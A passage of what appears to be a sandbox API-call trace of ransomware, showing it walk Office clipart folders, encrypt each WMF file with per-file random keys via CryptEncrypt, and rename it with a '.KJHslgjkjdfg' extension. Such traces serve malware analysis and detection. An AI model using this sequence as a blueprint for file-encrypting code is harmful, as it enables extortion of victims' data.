lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.198] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.198] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.198] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.198] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.198] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.198] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.198] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbbc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbbc, lpOverlapped=0x0) returned 1 [0179.198] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbc0) returned 1 [0179.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.198] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbc0, lpOverlapped=0x0) returned 1 [0179.199] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.199] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.199] SetEndOfFile (hFile=0x114) returned 1 [0179.201] GetProcessHeap () returned 0x2a0000 [0179.201] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.201] GetProcessHeap () returned 0x2a0000 [0179.202] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.202] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195788.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195788.wmf.kjhslgjkjdfg")) returned 1 [0179.203] CloseHandle (hObject=0x114) returned 1 [0179.203] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1 [0179.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.204] GetProcessHeap () returned 0x2a0000 [0179.204] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.204] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.204] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.204] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0179.207] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.207] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.207] GetProcessHeap () returned 0x2a0000 [0179.207] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.207] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.207] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.207] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.207] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.207] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.207] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.207] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.207] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.207] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.208] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.208] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x128e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x128e, lpOverlapped=0x0) returned 1 [0179.209] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1290, dwBufLen=0x1290 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1290) returned 1 [0179.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.209] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1290, lpOverlapped=0x0) returned 1 [0179.209] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.209] SetEndOfFile (hFile=0x114) returned 1 [0179.212] GetProcessHeap () returned 0x2a0000 [0179.212] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.212] GetProcessHeap () returned 0x2a0000 [0179.212] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196060.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196060.wmf.kjhslgjkjdfg")) returned 1 [0179.214] CloseHandle (hObject=0x114) returned 1 [0179.214] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1 [0179.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.216] GetProcessHeap () returned 0x2a0000 [0179.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.216] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.216] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0179.218] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.218] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.218] GetProcessHeap () returned 0x2a0000 [0179.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.218] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.218] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.218] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.218] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.219] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.219] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.219] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.219] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14ce, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x14ce, lpOverlapped=0x0) returned 1 [0179.220] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14d0) returned 1 [0179.220] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.220] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14d0, lpOverlapped=0x0) returned 1 [0179.220] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.221] SetEndOfFile (hFile=0x114) returned 1 [0179.223] GetProcessHeap () returned 0x2a0000 [0179.223] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.223] GetProcessHeap () returned 0x2a0000 [0179.223] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196110.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196110.wmf.kjhslgjkjdfg")) returned 1 [0179.225] CloseHandle (hObject=0x114) returned 1 [0179.225] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1 [0179.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.226] GetProcessHeap () returned 0x2a0000 [0179.226] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.226] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.227] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.227] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0179.229] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.229] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.229] GetProcessHeap () returned 0x2a0000 [0179.229] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.229] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.229] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.229] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.229] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.229] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.229] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.230] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.230] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.230] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.230] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xef2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xef2, lpOverlapped=0x0) returned 1 [0179.230] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf00, dwBufLen=0xf00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf00) returned 1 [0179.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.230] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf00, lpOverlapped=0x0) returned 1 [0179.230] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.230] SetEndOfFile (hFile=0x114) returned 1 [0179.233] GetProcessHeap () returned 0x2a0000 [0179.233] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.233] GetProcessHeap () returned 0x2a0000 [0179.234] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.kjhslgjkjdfg")) returned 1 [0179.235] CloseHandle (hObject=0x114) returned 1 [0179.235] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1 [0179.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.236] GetProcessHeap () returned 0x2a0000 [0179.236] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.236] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.236] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.236] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0179.239] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.239] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.239] GetProcessHeap () returned 0x2a0000 [0179.239] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.239] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.239] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.239] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.239] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.239] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.239] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 